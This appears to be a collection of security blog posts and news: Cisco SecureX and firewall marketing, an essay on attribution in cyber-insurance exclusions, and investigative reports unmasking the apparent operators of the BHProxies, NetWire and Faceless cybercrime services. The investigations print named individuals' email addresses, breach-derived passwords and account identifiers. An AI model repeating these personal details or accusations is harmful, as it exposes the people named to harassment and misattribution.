Through the SecureX platform, intelligence from Talos is combined with telemetry from our customers’ environments — including many third-party tools — to provide a more complete picture of what’s going on in the network. Additionally, built-in, automated response functionality helps to speed up and streamline mitigation. This way, potential attacks can be identified, prioritized, and remediated before they lead to major impact.

For XDR to be successful, it must not only aggregate data, but also make sense of it. Through combined insights from various resources, SecureX customers obtain the unified visibility and context needed to rapidly prioritize the right threats at the right time. With SecureX, security analysts spend up to 90 percent less time per incident.

Accelerating threat detection and response

One of Australia’s largest universities, Deakin University, needed to improve its outdated security posture and transition from ad hoc processes to a mature program. Its small security team sought an integrated solution to simplify and strengthen threat defense.

With a suite of Cisco security products integrated through SecureX, Deakin University was able to reduce the typical investigation and response time for a major threat down from over a week to just an hour. The university was also able to decrease its response time for malicious emails from an hour to as little as five minutes.

“The most important outcome that we have achieved so far is that security is now a trusted function.”

– Fadi Aljafari, Information Security and Risk Manager, Deakin University

Also in the education space, AzEduNet provides connectivity and online services to 1.5 million students and 150,000 teachers at 4,300 educational institutions in Azerbaijan. “We don’t have enough staff to monitor every entry point into our network and correlate all the information from our security solutions,” says Bahruz Ibrahimov, senior information security engineer at AzEduNet.

The organization therefore implemented Cisco SecureX to accelerate investigations and incident management, maximize operational efficiency with automated workflows, and decrease threat response time. With SecureX, AzEduNet has reduced its security incidents by 80 percent.

“The integration with all our Cisco Secure solutions and with other vendors saves us response and investigation time, as well as saving time for our engineers.”

– Bahruz Ibrahimov, Senior Information Security Engineer, AzEduNet

Boosting cyber resilience with Talos

The sophistication of attackers and sheer number of threats out there today make it extremely challenging for most cybersecurity teams to effectively stay on top of alerts and recognize when something requires their immediate attention. According to a survey by ESG, 81 percent of organizations say their security operations have been affected by the cybersecurity skills shortage.

That’s why Talos employs hundreds of researchers around the globe — and around the clock — to collect and analyze massive amounts of threat data. The group uses the latest in machine learning logic and custom algorithms to distill the data into manageable, actionable intelligence.

“Make no mistake, this is a battle,” said Nick Biasini, head of outreach for Cisco Talos, who oversees a team of global threat hunters. “In order to keep up with the adversaries, you really need a deep technical understanding of how these threats are constructed and how the malware operates to quickly identify how it’s changing and evolving. Offense is easy, defense is hard.”

Maximizing defense against future threats  

Earlier this year, we unveiled our strategic vision for the Cisco Security Cloud to deliver end-to-end security across hybrid, multicloud environments. Talos will continue to play a pivotal role in our technology as we execute on this vision. In addition to driving protection in our products, Talos also offers more customized and hands-on expertise to customers when needed.

Cisco Talos Incident Response provides a full suite of proactive and emergency services to help organizations prepare for, respond to, and recover from a breach — 24 hours a day. Additionally, the recently released Talos Intel on Demand service delivers custom research unique to your organization, as well as direct access to Talos security analysts for increased awareness and confidence.

Enhance your intelligence + security operations

Visit our dedicated Cisco Talos web page to learn more about the group and the resources it offers to help keep global organizations cyber resilient. Then, discover how XDR helps Security Operations Center (SOC) teams hunt for, investigate, and remediate threats.

Watch video: What it means to be a threat hunter

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Cyber Insurance and the Attribution Conundrum

Written by Martin Lee and Richard Archdeacon.

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Lloyds of London have recently published a Market Bulletin¹ addressing the wording of cyber insurance policies to exclude losses arising from:

“state backed cyber-attacks that (a) significantly impair the ability of a state to function or (b) that significantly impair the security capabilities of a state.”

The concern raised is that this sort of attack will produce losses that the market cannot absorb. Most insurance policies already include provisions that exclude the consequences of armed conflict. Applying these to potential cyber warfare is a logical step.

The bulletin includes the tenet to:

“set out a robust basis by which the parties agree on how any state backed cyber- attack will be attributed to one or more states.”

What should the CISO be thinking of when reviewing such an exclusion clause, how can we clearly define this key term and what issues may arise?

What Is Attribution?

Attribution is the science of identifying the perpetrator of a crime. In cyber attacks, this is arrived at by comparing the evidence gathered from an attack with evidence gathered from previous attacks that have been attributed to known perpetrators to identify similarities.

In practice, statements of attributions are carefully phrased. Rarely is evidence clear-cut. Frequently attribution is labelled as being ‘consistent with’ a threat actor, or wrapped in words of estimative probability such as ‘highly likely’, ‘probably’, ‘possibly’ etc.

Threat Actors

The malicious actors who conduct cyber attacks are referred to as threat actors. The cyber research community identifies and keeps track of the actions of these threat actors, publishing compendia of known actors such as those made available by MITRE² or Malpedia³.

Rarely do threat actors identify their true identities, they may actively try to confuse or frustrate attribution. Many of the named groups may be synonyms of other groups, equally many of the chains of evidence used to attribute groups may be incorrect. The compendia of threat actors should not be considered as reaching the evidence threshold of “beyond reasonable doubt”.

Some identified threat actor groups are assumed to be criminal gangs due to the nature of their activity. Others appear to be conducting attacks solely to further the geopolitical aims of a nation state and are assumed as being state sponsored or state backed. Some of these groups have been able to be associated with specific national intelligence agencies or state apparatus.

Agreeing a Robust Basis

The following are four practical factors to consider when setting out a robust basis for attribution of attacks in a contractual basis.

Step 1 – Collect forensic evidence.

No attribution of an attack can be made without forensic evidence. CISOs should ensure that they are able to gather forensic evidence from attacks to identify as much information as possible regarding how an attack was carried out, and the infrastructure used by the attacker. This requires a basic level of security telemetry gathering with the ability to secure and query this data.

This forensic capability, how evidence will be gathered and preserved, should be agreed with the insurer. However, both parties must bear in mind that attackers may destroy or tamper with evidence, and in the urgency of halting an attack, forensic evidence may be compromised or omitted.

The CISO should be prepared to discuss internally with senior executives the possibly competing priorities of stopping an attack versus collecting good forensic evidence.

Step 2 – Define how attribution will be made.

The attribution of a specific attack must be made by comparing evidence gathered from the attack with that of previous attacks. CISOs should agree the process by which forensic artifacts are used to attribute attacks and the degree of certitude necessary to declare an attack as having been carried out by a specific group.

The set of organisations trusted to assert attribution should be agreed. Attribution made by national bodies such as NCSC, CISA or ENISA may be assumed to be reliable, as may those made by major security vendors (such as Cisco) with expertise and resources that a CISO will never have inhouse. However, anyone can suggest attribution. CISOs should be certain to insist on the exclusion of assertions that have not been confirmed by a trusted entity.

This raises the question as to whether a trusted organisation would be prepared to support their attribution in a scenario where they would have to expose their intelligence sources and methodologies to examination. Attribution may be based on classified intelligence, or made according to ‘fair efforts’ that fall below the legal threshold of “on the balance of probabilities.”

Step 3 – Consider the volatility of attribution.

The gathering of evidence and intelligence is a continuing process. Information previously assumed to be fact may be subsequently identified as incorrect or a purposeful red herring. New evidence may be identified months or years after an attack that changes the estimated attribution of prior attacks.

CISOs must determine a period after which the attribution of attack (if made) will not be changed even if subsequent evidence is uncovered.

Step 4 – Define the nature of state backing.

CISOs should agree what constitutes state backing. Ideally CISOs should agree with their insurers the set of threat actor groups (and their synonyms) which are considered to be ‘state backed’.

State involvement in cyber attacks is a spectrum of activity. Criminal threat actors may be under various degrees of state tolerance or encouragement without being fully backed by a nation state. Some criminal groups may be under partial state direction, acting in a manner akin to privateers. Some state backed actors may indulge in criminal style attacks to boost their coffers.

In any case, criminal and state sponsored actors can easily be confused. They may choose to use the same tools or apply the same techniques to conduct their activities. Non-state threat actors may come into possession of state developed tools which may have been stolen or traded without permission.

Some threat actors may actively resort to influence attribution, either through choice of tooling, or through sock puppet accounts attesting attribution, to increase pressure on CISOs to pay ransoms by influencing if insurance is paid out or not.

The decision line where an attack can be referred to a ‘state backed’ is a fine one that requires consideration and agreement.

Conclusion

Changes bring opportunities, the need for this robust process may cause complications for CISOs. But it is an opportunity for CISOs to review the details of cyber insurance contracts and to hammer out the details of how issues of attribution will be determined.

Lloyd’s Market Association provide sample clauses for insurers⁴, we intend to consider these in a subsequent blog.

One thing is certain, there will be many opportunities for the legal profession.

The information provided here does not, and is not intended to, constitute legal advice.  When negotiating a specific matter, readers should confer with their own legal adviser to obtain advice appropriate for a specific insurance contract issue.

1. Lloyd’s Market Bulletin, Y5381.
2. MITRE ATT&CK Groups. https://attack.mitre.org/groups/
3. Malpedia Actors. https://malpedia.caad.fkie.fraunhofer.de/actors
4. Cyber War and Cyber Operation Exclusion Clauses, Lloyd’s Market Association. https://www.lmalloyds.com/LMA/News/LMA_bulletins/LMA_Bulletins/LMA21-042-PD.aspx

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Microsoft Blames Russian Hackers for Prestige Ransomware Attacks on Ukraine and Poland

Microsoft on Thursday attributed the recent spate of ransomware incidents targeting transportation and logistics sectors in Ukraine and Poland to a threat cluster that shares overlaps with the Russian state-sponsored Sandworm group. The attacks, which were disclosed by the tech giant last month, involved a strain of previously undocumented malware called Prestige and is said to have taken place

Threat hunting with MITRE ATT&CK and Wazuh

Threat hunting is the process of looking for malicious activity and its artifacts in a computer system or network. Threat hunting is carried out intermittently in an environment regardless of whether or not threats have been discovered by automated security solutions. Some threat actors may stay dormant in an organization's infrastructure, extending their access while waiting for the right

U.S. Govt. Apps Bundled Russian Code With Ties to Mobile Malware Developer

A recent scoop by Reuters revealed that mobile apps for the U.S. Army and the Centers for Disease Control and Prevention (CDC) were integrating software that sends visitor data to a Russian company called Pushwoosh, which claims to be based in the United States. But that story omitted an important historical detail about Pushwoosh: In 2013, one of its developers admitted to authoring the Pincer Trojan, malware designed to surreptitiously intercept and forward text messages from Android mobile devices.

Pushwoosh says it is a U.S. based company that provides code for software developers to profile smartphone app users based on their online activity, allowing them to send tailor-made notifications. But a recent investigation by Reuters raised questions about the company’s real location and truthfulness.

The Army told Reuters it removed an app containing Pushwoosh in March, citing “security concerns.” The Army app was used by soldiers at one of the nation’s main combat training bases.

Reuters said the CDC likewise recently removed Pushwoosh code from its app over security concerns, after reporters informed the agency Pushwoosh was not based in the Washington D.C. area — as the company had represented — but was instead operated from Novosibirsk, Russia.

Pushwoosh’s software also was found in apps for “a wide array of international companies, influential nonprofits and government agencies from global consumer goods company Unilever and the Union of European Football Associations (UEFA) to the politically powerful U.S. gun lobby, the National Rifle Association (NRA), and Britain’s Labour Party.”

The company’s founder Max Konev told Reuters Pushwoosh “has no connection with the Russian government of any kind” and that it stores its data in the United States and Germany.

But Reuters found that while Pushwoosh’s social media and U.S. regulatory filings present it as a U.S. company based variously in California, Maryland and Washington, D.C., the company’s employees are located in Novosibirsk, Russia.

Reuters also learned that the company’s address in California does not exist, and that two LinkedIn accounts for Pushwoosh employees in Washington, D.C. were fake.

“Pushwoosh never mentioned it was Russian-based in eight annual filings in the U.S. state of Delaware, where it is registered, an omission which could violate state law,” Reuters reported.

Pushwoosh admitted the LinkedIn profiles were fake, but said they were created by a marketing firm to drum up business for the company — not misrepresent its location.

Pushwoosh told Reuters it used addresses in the Washington, D.C. area to “receive business correspondence” during the coronavirus pandemic. A review of the Pushwoosh founder’s online presence via Constella Intelligence shows his Pushwoosh email address was tied to a phone number in Washington, D.C. that was also connected to email addresses and account profiles for over a dozen other Pushwoosh employees.

THE PINCER TROJAN CONNECTION

The dust-up over Pushwoosh came in part from data gathered by Zach Edwards, a security researcher who until recently worked for the Internet Safety Labs, a nonprofit organization that funds research into online threats.

Edwards said Pushwoosh began as Arello-Mobile, and for several years the two co-branded — appearing side by side at various technology expos. Around 2016, he said, the two companies both started using the Pushwoosh name.

A search on Pushwoosh’s code base shows that one of the company’s longtime developers is a 41-year-old from Novosibirsk named Yuri Shmakov. In 2013, KrebsOnSecurity interviewed Shmakov for the story, “Who Wrote the Pincer Android Trojan?” wherein Shmakov acknowledged writing the malware as a freelance project.

Shmakov told me that, based on the client’s specifications, he suspected it might ultimately be put to nefarious uses. Even so, he completed the job and signed his work by including his nickname in the app’s code.

“I was working on this app for some months, and I was hoping that it would be really helpful,” Shmakov wrote. “[The] idea of this app is that you can set it up as a spam filter…block some calls and SMS remotely, from a Web service. I hoped that this will be [some kind of] blacklist, with logging about blocked [messages/calls]. But of course, I understood that client [did] not really want this.”

Shmakov did not respond to requests for comment. His LinkedIn profile says he stopped working for Arello Mobile in 2016, and that he currently is employed full-time as the Android team leader at an online betting company.

In a blog post responding to the Reuters story, Pushwoosh said it is a privately held company incorporated under the state laws of Delaware, USA, and that Pushwoosh Inc. was never owned by any company registered in the Russian Federation.

“Pushwoosh Inc. used to outsource development parts of the product to the Russian company in Novosibirsk, mentioned in the article,” the company said. “However, in February 2022, Pushwoosh Inc. terminated the contract.”

However, Edwards noted that dozens of developer subdomains on Pushwoosh’s main domain still point to JSC Avantel, an Internet provider based in Novosibirsk, Russia.

WAR GAMES

Edwards said the U.S. Army’s app had a custom Pushwoosh configuration that did not appear on any other customer implementation.

“It had an extremely custom setup that existed nowhere else,” Edwards said. “Originally, it was an in-app Web browser, where it integrated a Pushwoosh javascript so that any time a user clicked on links, data went out to Pushwoosh and they could push back whatever they wanted through the in-app browser.”

An Army Times article published the day after the Reuters story ran said at least 1,000 people downloaded the app, which “delivered updates for troops at the National Training Center on Fort Irwin, Calif., a critical waypoint for deploying units to test their battlefield prowess before heading overseas.”

In April 2022, roughly 4,500 Army personnel converged on the National Training Center for a war games exercise on how to use lessons learned from Russia’s war against Ukraine to prepare for future fights against a major adversary such as Russia or China.

Edwards said despite Pushwoosh’s many prevarications, the company’s software doesn’t appear to have done anything untoward to its customers or users.

“Nothing they did has been seen to be malicious,” he said. “Other than completely lying about where they are, where their data is being hosted, and where they have infrastructure.”

GOV 311

Edwards also found Pushwoosh’s technology embedded in nearly two dozen mobile apps that were sold to cities and towns across Illinois as a way to help citizens access general information about their local communities and officials.

The Illinois apps that bundled Pushwoosh’s technology were produced by a company called Government 311, which is owned by Bill McCarty, the current director of the Springfield Office of Budget and Management. A 2014 story in The State Journal-Register said Gov 311’s pricing was based on population, and that the app would cost around $2,500 per year for a city with approximately 25,000 people.

McCarty told KrebsOnSecurity that his company stopped using Pushwoosh “years ago,” and that it now relies on its own technology to provide push notifications through its 311 apps.

But Edwards found some of the 311 apps still try to phone home to Pushwoosh, such as the 311 app for Riverton, Ill.

“Riverton ceased being a client several years ago, which [is] probably why their app was never updated to change out Pushwoosh,” McCarty explained. “We are in the process of updating all client apps and a website refresh. As part of that, old unused apps like Riverton 311 will be deleted.”

FOREIGN ADTECH THREAT?

Edwards said it’s far from clear how many other state and local government apps and Web sites rely on technology that sends user data to U.S. adversaries overseas. In July, Congress introduced an amended version of the Intelligence Authorization Act for 2023, which included a new section focusing on data drawn from online ad auctions that could be used to geolocate individuals or gain other information about them.

Business Insider reports that if this section makes it into the final version — which the Senate also has to pass — the Office for the Director of National Intelligence (ODNI) will have 60 days after the Act becomes law to produce a risk assessment. The assessment will look into “the counterintelligence risks of, and the exposure of intelligence community personnel to, tracking by foreign adversaries through advertising technology data,” the Act states.

Edwards says he’s hoping those changes pass, because what he found with Pushwoosh is likely just a drop in a bucket.

“I’m hoping that Congress acts on that,” he said. “If they were to put a requirement that there’s an annual audit of risks from foreign ad tech, that would at least force people to identify and document those connections.”

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SE Labs 2023 Annual Security Report Names Cisco as Best Next Generation Firewall

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SE Labs, a cybersecurity testing and evaluation firm, provides impartial and independent assessments of various cybersecurity products and solutions. In their 2023 Annual Report, SE Labs states: 

“Our Annual Security Awards recognizes security vendors that notonly do well in our tests, but perform well in the real world withreal customers. These awards are the only in the industry thatrecognize strong lab work combined with practical success.”

SE Labs Testing Methodology 

SE Labs performs tests on behalf of customers seeking independent proof-of-value assistance, as well as security vendors. At Cisco, we use third-party evaluations from multiple sources, including SE Labs, to augment our internal testing and to drive product improvement. 

Winners were determined after months of in-depth testing, based on a combination of continual public testing, private assessments and feedback from corporate clients who use SE Labs to help choose security products and services. The award further validates that our customers can expect superior threat protection and performance with Cisco Secure Firewall. 

SE Labs’ reports use the MITRE ATT&CK framework, employing both common “commodity” malware samples and sophisticated, targeted attacks. Their network security testing uses full attack chains to assess the detection and protection abilities of network devices and combinations of network and endpoint solutions. SE Labs publishes its testing methodologies and is BS EN ISO 9001: 2015 certified for The Provision of IT Security Product Testing. 

As a worldwide leader in networking and security, Cisco is better positioned than any other security vendor to incorporate effective firewall controls into our customers’ infrastructure — anywhere data and applications reside. We offer a comprehensive threat defense with industry-leading Snort 3 IPS to protect users, applications, and data from continuously evolving threats. Our solutions also leverage machine learning and advanced threat intelligence from Cisco Talos, one of the world’s largest commercial threat intelligence teams. 

Cisco Secure Firewall Key Features 

• Cisco Secure Firewall’s threat-focused architecture enables superior visibility and control of network traffic. Many security practitioners today struggle with a lack of visibility into encrypted traffic, which is why Cisco has developed the differentiated Encrypted Visibility Engine that detects threats in encrypted traffic – with minimal to no decryption. Secure Firewall’s detailed analysis, visibility, and reporting enable organizations to rapidly gain insights into their network traffic, applications, and assets. 
• Cisco Secure Firewall capabilities provide a unified security posture across the entire network. This is achieved through its tight integration with workload, web, email, and cloud security through our SecureX XDR platform. This integration increases the efficiency of the SecOps team, by accelerating threat investigation and response time. 
• Designed to be adaptive and highly scalable in dynamic environments, Cisco Secure Firewall is expressly designed to reduce total cost of ownership. It helps teams save time with consistent policy enforcement, helping our customers realize up to a 195% return on investment over three years, as noted in the third-party research we commissioned with Forrester Consulting.   

In the constantly evolving world of cybersecurity, it is important to have access to the latest and most advanced technologies to stay ahead of threats. Whether you are an enterprise, government, healthcare, or a service provider organization, Cisco Secure Firewall provides top-ranked security. 

When you invest in Cisco Secure Firewall, you are investing in award-winning threat defense with capabilities that are built for the real world. Learn more about SE Labs 2023 Annual Report, Cisco Secure Firewall and how you can refresh your firewall. 

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Who’s Behind the Botnet-Based Service BHProxies?

A security firm has discovered that a six-year-old crafty botnet known as Mylobot appears to be powering a residential proxy service called BHProxies, which offers paying customers the ability to route their web traffic anonymously through compromised computers. Here’s a closer look at Mylobot, and a deep dive into who may be responsible for operating the BHProxies service.

First identified in 2017 by the security firm Deep Instinct, Mylobot employs a number of fairly sophisticated methods to remain undetected on infected hosts, such as running exclusively in the computer’s temporary memory, and waiting 14 days before attempting to contact the botnet’s command and control servers.

Last year, researchers at Minerva Labs spotted the botnet being used to blast out sextortion scams. But according to a new report from BitSight, the Mylobot botnet’s main functionality has always been about transforming the infected system into a proxy.

The Mylobot malware includes more than 1,000 hard-coded and encrypted domain names, any one of which can be registered and used as control networks for the infected hosts. BitSight researchers found significant overlap in the Internet addresses used by those domains and a domain called BHproxies[.]com.

BHProxies sells access to “residential proxy” networks, which allow someone to rent a residential IP address to use as a relay for their Internet communications, providing anonymity and the advantage of being perceived as a residential user surfing the web. The service is currently advertising access to more than 150,000 devices globally.

“At this point, we cannot prove that BHProxies is linked to Mylobot, but we have a strong suspicion,” wrote BitSight’s Stanislas Arnoud.

To test their hypothesis, BitSight obtained 50 proxies from BHProxies. The researchers were able to use 48 of those 50 proxies to browse to a website they controlled — allowing them to record the true IP addresses of each proxy device.

“Among these 48 recovered residential proxies IP addresses, 28 (58.3%) of those were already present in our sinkhole systems, associated with the Mylobot malware family,” Arnoud continued. “This number is probably higher, but we don’t have a full visibility of the botnet. This gave us clear evidence that Mylobot infected computers are used by the BHProxies service.”

BitSight said it is currently seeing more than 50,000 unique Mylobot infected systems every day, and that India appears to be the most targeted country, followed by the United States, Indonesia and Iran.

“We believe we are only seeing part of the full botnet, which may lead to more than 150,000 infected computers as advertised by BHProxies’ operators,” Arnoud wrote.

WHO’S BEHIND BHPROXIES?

The website BHProxies[.]com has been advertised for nearly a decade on the forum Black Hat World by the user BHProxies. BHProxies has authored 129 posts on Black Hat World since 2012, and their last post on the forum was in December 2022.

BHProxies initially was fairly active on Black Hat World between May and November 2012, after which it suddenly ceased all activity. The account didn’t resume posting on the forum until April 2014.

According to cyber intelligence firm Intel 471, the user BHProxies also used the handle “hassan_isabad_subar” and marketed various software tools, including “Subar’s free email creator” and “Subar’s free proxy scraper.”

Intel 471’s data shows that hassan_isabad_subar registered on the forum using the email address jesus.fn.christ@gmail.com. In a June 2012 private message exchange with a website developer on Black Hat World, hassan_isabad_subar confided that they were working at the time to develop two websites, including the now-defunct customscrabblejewelry.com.

DomainTools.com reports that customscrabblejewelry.com was registered in 2012 to a Teresa Shotliff in Chesterland, Ohio. A search on jesus.fn.christ@gmail.com at Constella Intelligence, a company that tracks compromised databases, shows this email address is tied to an account at the fundraising platform omaze.com, for a Brian Shotliff from Chesterland, Ohio.

Reached via LinkedIn, Mr. Shotliff said he sold his BHProxies account to another Black Hat World forum user from Egypt back in 2014. Shotliff shared an April 2014 password reset email from Black Hat World, which shows he forwarded the plaintext password to the email address legendboy2050@yahoo.com. He also shared a PayPal receipt and snippets of Facebook Messenger logs showing conversations in March 2014 with legendboy2050@yahoo.com.

Constella Intelligence confirmed that legendboy2050@yahoo.com was indeed another email address tied to the hassan_isabad_subar/BHProxies identity on Black Hat World. Constella also connects legendboy2050 to Facebook and Instagram accounts for one Abdala Tawfik from Cairo. This user’s Facebook page says Tawfik also uses the name Abdalla Khafagy.

Tawfik’s Instagram account says he is a former operations manager at the social media network TikTok, as well as a former director at Crypto.com.

Abdalla Khafagy’s LinkedIn profile says he was “global director of community” at Crypto.com for about a year ending in January 2022. Before that, the resume says he was operations manager of TikTok’s Middle East and North Africa region for approximately seven months ending in April 2020.

Khafagy’s LinkedIn profile says he is currently founder of LewkLabs, a Dubai-based “blockchain-powered, SocialFi content monetization platform” that last year reported funding of $3.26 million from private investors.

The only experience listed for Khafagy prior to the TikTok job is labeled “Marketing” at “Confidential,” from February 2014 to October 2019.

Reached via LinkedIn, Mr. Khafagy told KrebsOnSecurity that he had a Black Hat World account at some point, but that he didn’t recall ever having used an account by the name BHProxies or hassan_isabad_subar. Khafagy said he couldn’t remember the name of the account he had on the forum.

“I had an account that was simply hacked from me shortly after and I never bothered about it because it wasn’t mine in the first place,” he explained.

Khafagy declined to elaborate on the five-year stint in his resume marked “Confidential.” When asked directly whether he had ever been associated with the BHProxies service, Mr. Khafagy said no.

That Confidential job listing is interesting because its start date lines up with the creation of BHproxies[.]com. Archive.org indexed its first copy of BHProxies[.]com on Mar. 5, 2014, but historic DNS records show BHproxies[.]com first came online Feb. 25, 2014.

Shortly after that conversation with Mr. Khafagy, Mr. Shotliff shared a Facebook/Meta message he received that indicated Mr. Khafagy wanted him to support the claim that the BHProxies account had somehow gone missing.

“Hey mate, it’s been a long time. Hope you are doing well. Someone from Krebs on Security reached out to me about the account I got from you on BHW,” Khafagy’s Meta account wrote. “Didn’t we try to retrieve this account? I remember mentioning to you that it got stolen and I was never able to retrieve it.”

Mr. Shotliff said Khafagy’s sudden message this week was the first time he’d heard that claim.

“He bought the account,” Shotliff said. “He might have lost the account or had it stolen, but it’s not something I remember.”

If you liked this story, you may also enjoy these other investigations into botnet-based proxy services:

A Deep Dive Into the Residential Proxy Service ‘911’
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Meet the Administrators of the RSOCKS Proxy Botnet
The Link Between AWM Proxy & the Glupteba Botnet
15-Year-Old Malware Proxy Network VIP72 Goes Dark
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Who’s Behind the NetWire Remote Access Trojan?

A Croatian national has been arrested for allegedly operating NetWire, a Remote Access Trojan (RAT) marketed on cybercrime forums since 2012 as a stealthy way to spy on infected systems and siphon passwords. The arrest coincided with a seizure of the NetWire sales website by the U.S. Federal Bureau of Investigation (FBI). While the defendant in this case hasn’t yet been named publicly, the NetWire website has been leaking information about the likely true identity and location of its owner for the past 11 years.

Typically installed by booby-trapped Microsoft Office documents and distributed via email, NetWire is a multi-platform threat that is capable of targeting not only Microsoft Windows machines but also Android, Linux and Mac systems.

NetWire’s reliability and relatively low cost ($80-$140 depending on features) has made it an extremely popular RAT on the cybercrime forums for years, and NetWire infections consistently rank among the top 10 most active RATs in use.

NetWire has been sold openly on the same website since 2012: worldwiredlabs[.]com. That website now features a seizure notice from the U.S. Department of Justice (DOJ), which says the domain was taken as part of “a coordinated law enforcement action taken against the NetWire Remote Access Trojan.”

“As part of this week’s law enforcement action, authorities in Croatia on Tuesday arrested a Croatian national who allegedly was the administrator of the website,” reads a statement by the DOJ today. “This defendant will be prosecuted by Croatian authorities. Additionally, law enforcement in Switzerland on Tuesday seized the computer server hosting the NetWire RAT infrastructure.”

Neither the DOJ’s statement nor a press release on the operation published by Croatian authorities mentioned the name of the accused. But it’s fairly remarkable that it has taken so long for authorities in the United States and elsewhere to move against NetWire and its alleged proprietor, given that the RAT’s author apparently did very little to hide his real-life identity.

The WorldWiredLabs website first came online in February 2012 using a dedicated host with no other domains. The site’s true WHOIS registration records have always been hidden by privacy protection services, but there are plenty of clues in historical Domain Name System (DNS) records for WorldWiredLabs that point in the same direction.

In October 2012, the WorldWiredLabs domain moved to another dedicated server at the Internet address 198.91.90.7, which was home to just one other domain: printschoolmedia[.]org, also registered in 2012.

According to DomainTools.com, printschoolmedia[.]org was registered to a Mario Zanko in Zapresic, Croatia, and to the email address zankomario@gmail.com. DomainTools further shows this email address was used to register one other domain in 2012: wwlabshosting[.]com, also registered to Mario Zanko from Croatia.

A review of DNS records for both printschoolmedia[.]org and wwlabshosting[.]com shows that while these domains were online they both used the DNS name server ns1.worldwiredlabs[.]com. No other domains have been recorded using that same name server.

DNS records for worldwiredlabs[.]com also show the site forwarded incoming email to the address tommaloney@ruggedinbox.com. Constella Intelligence, a service that indexes information exposed by public database leaks, shows this email address was used to register an account at the clothing retailer romwe.com, using the password “123456xx.”

Running a reverse search on this password in Constella Intelligence shows there are more than 450 email addresses known to have used this credential, and two of those are zankomario@gmail.com and zankomario@yahoo.com.

A search on zankomario@gmail.com in Skype returns three results, including the account name “Netwire” and the username “Dugidox,” and another for a Mario Zanko (username zanko.mario).

Dugidox corresponds to the hacker handle most frequently associated with NetWire sales and support discussion threads on multiple cybercrime forums over the years.

Constella ties dugidox@gmail.com to a number of website registrations, including the Dugidox handle on BlackHatWorld and HackForums, and to IP addresses in Croatia for both. Constella also shows the email address zankomario@gmail.com used the password “dugidox2407.”

In 2010, someone using the email address dugidox@gmail.com registered the domain dugidox[.]com. The WHOIS registration records for that domain list a “Senela Eanko” as the registrant, but the address used was the same street address in Zapresic that appears in the WHOIS records for printschoolmedia[.]org, which is registered in Mr. Zanco’s name.

Prior to the demise of Google+, the email address dugidox@gmail.com mapped to an account with the nickname “Netwire wwl.” The dugidox email also was tied to a Facebook account (mario.zanko3), which featured check-ins and photos from various places in Croatia.

That Facebook profile is no longer active, but back in January 2017, the administrator of WorldWiredLabs posted that he was considering adding certain Android mobile functionality to his service. Three days after that, the Mario.Zank3 profile posted a photo saying he was selected for an Android instruction course — with his dugidox email in the photo, naturally.

Incorporation records from the U.K.’s Companies House show that in 2017 Mr. Zanko became an officer in a company called Godbex Solutions LTD. A Youtube video invoking this corporate name describes Godbex as a “next generation platform” for exchanging gold and cryptocurrencies.

The U.K. Companies House records show Godbex was dissolved in 2020. It also says Mr. Zanko was born in July 1983, and lists his occupation as “electrical engineer.”

Mr. Zanko did not respond to multiple requests for comment.

A statement from the Croatian police about the NetWire takedown is here.

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For the past seven years, a malware-based proxy service known as “Faceless” has sold anonymity to countless cybercriminals. For less than a dollar per day, Faceless customers can route their malicious traffic through tens of thousands of compromised systems advertised on the service. In this post we’ll examine clues left behind over the past decade by the proprietor of Faceless, including some that may help put a face to the name.

Riley Kilmer is co-founder of Spur.us, a company that tracks thousands of VPN and proxy networks, and helps customers identify traffic coming through these anonymity services. Kilmer said Faceless has emerged as one of the underground’s most reliable malware-based proxy services, mainly because its proxy network has traditionally included a great many compromised “Internet of Things” devices — such as media sharing servers — that are seldom included on malware or spam block lists.

Kilmer said when Spur first started looking into Faceless, they noticed almost every Internet address that Faceless advertised for rent also showed up in the IoT search engine Shodan.io as a media sharing device on a local network that was somehow exposed to the Internet.

“We could reliably look up the [fingerprint] for these media sharing devices in Shodan and find those same systems for sale on Faceless,” Kilmer said.

In January 2023, the Faceless service website said it was willing to pay for information about previously undocumented security vulnerabilities in IoT devices. Those with IoT zero-days could expect payment if their exploit involved at least 5,000 systems that could be identified through Shodan.

Recently, Faceless has shown ambitions beyond just selling access to poorly-secured IoT devices. In February, Faceless re-launched a service that lets users drop an email bomb on someone — causing the target’s inbox to be filled with tens of thousands of junk messages.

And in March 2023, Faceless started marketing a service for looking up Social Security Numbers (SSNs) that claims to provide access to “the largest SSN database on the market with a very high hit rate.”

Kilmer said Faceless wants to become a one-stop-fraud-shop for cybercriminals who are seeking stolen or synthetic identities from which to transact online, and a temporary proxy that is geographically close to the identity being sold. Faceless currently sells this bundled product for $9 — $8 for the identity and $1 for the proxy.

“They’re trying to be this one-stop shop for anonymity and personas,” Kilmer said. “The service basically says ‘here’s an SSN and proxy connection that should correspond to that user’s location and make sense to different websites.'”

MRMURZA

Faceless is a project from MrMurza, a particularly talkative member of more than a dozen Russian-language cybercrime forums over the past decade. According to cyber intelligence firm Flashpoint, MrMurza has been active in the Russian underground since at least September 2012. Flashpoint said MrMurza appears to be extensively involved in botnet activity and “drops” — fraudulent bank accounts created using stolen identity data that are often used in money laundering and cash-out schemes.

Faceless grew out of a popular anonymity service called iSocks, which was launched in 2014 and advertised on multiple Russian crime forums as a proxy service that customers could use to route their malicious Web traffic through compromised computers.

Flashpoint says that in the months before iSocks went online, MrMurza posted on the Russian language crime forum Verified asking for a serious partner to assist in opening a proxy service, noting they had a botnet that was powered by malware that collected proxies with a 70 percent infection rate.

In September 2016, MrMurza sent a message to all iSocks users saying the service would soon be phased out in favor of Faceless, and that existing iSocks users could register at Faceless for free if they did so quickly — before Faceless began charging new users registration fees between $50 and $100.

Verified and other Russian language crime forums where MrMurza had a presence have been hacked over the years, with contact details and private messages leaked online. In a 2014 private message to the administrator of Verified explaining his bona fides, MrMurza said he received years of positive feedback as a seller of stolen Italian credit cards and a vendor of drops services.

MrMurza told the Verified admin that he used the nickname AccessApproved on multiple other forums over the years. MrMurza also told the admin that his account number at the now-defunct virtual currency Liberty Reserve was U1018928.

According to cyber intelligence firm Intel 471, the user AccessApproved joined the Russian crime forum Zloy in Jan. 2012, from an Internet address in Magnitogorsk, RU. In a 2012 private message where AccessApproved was arguing with another cybercriminal over a deal gone bad, AccessApproved asked to be paid at the Liberty Reserve address U1018928.

In 2013, U.S. federal investigators seized Liberty Reserve and charged its founders with facilitating billions of dollars in money laundering tied to cybercrime. The Liberty Reserve case was prosecuted out of the Southern District of New York, which in 2016 published a list of account information (PDF) tied to thousands of Liberty Reserve addresses the government asserts were involved in money laundering.

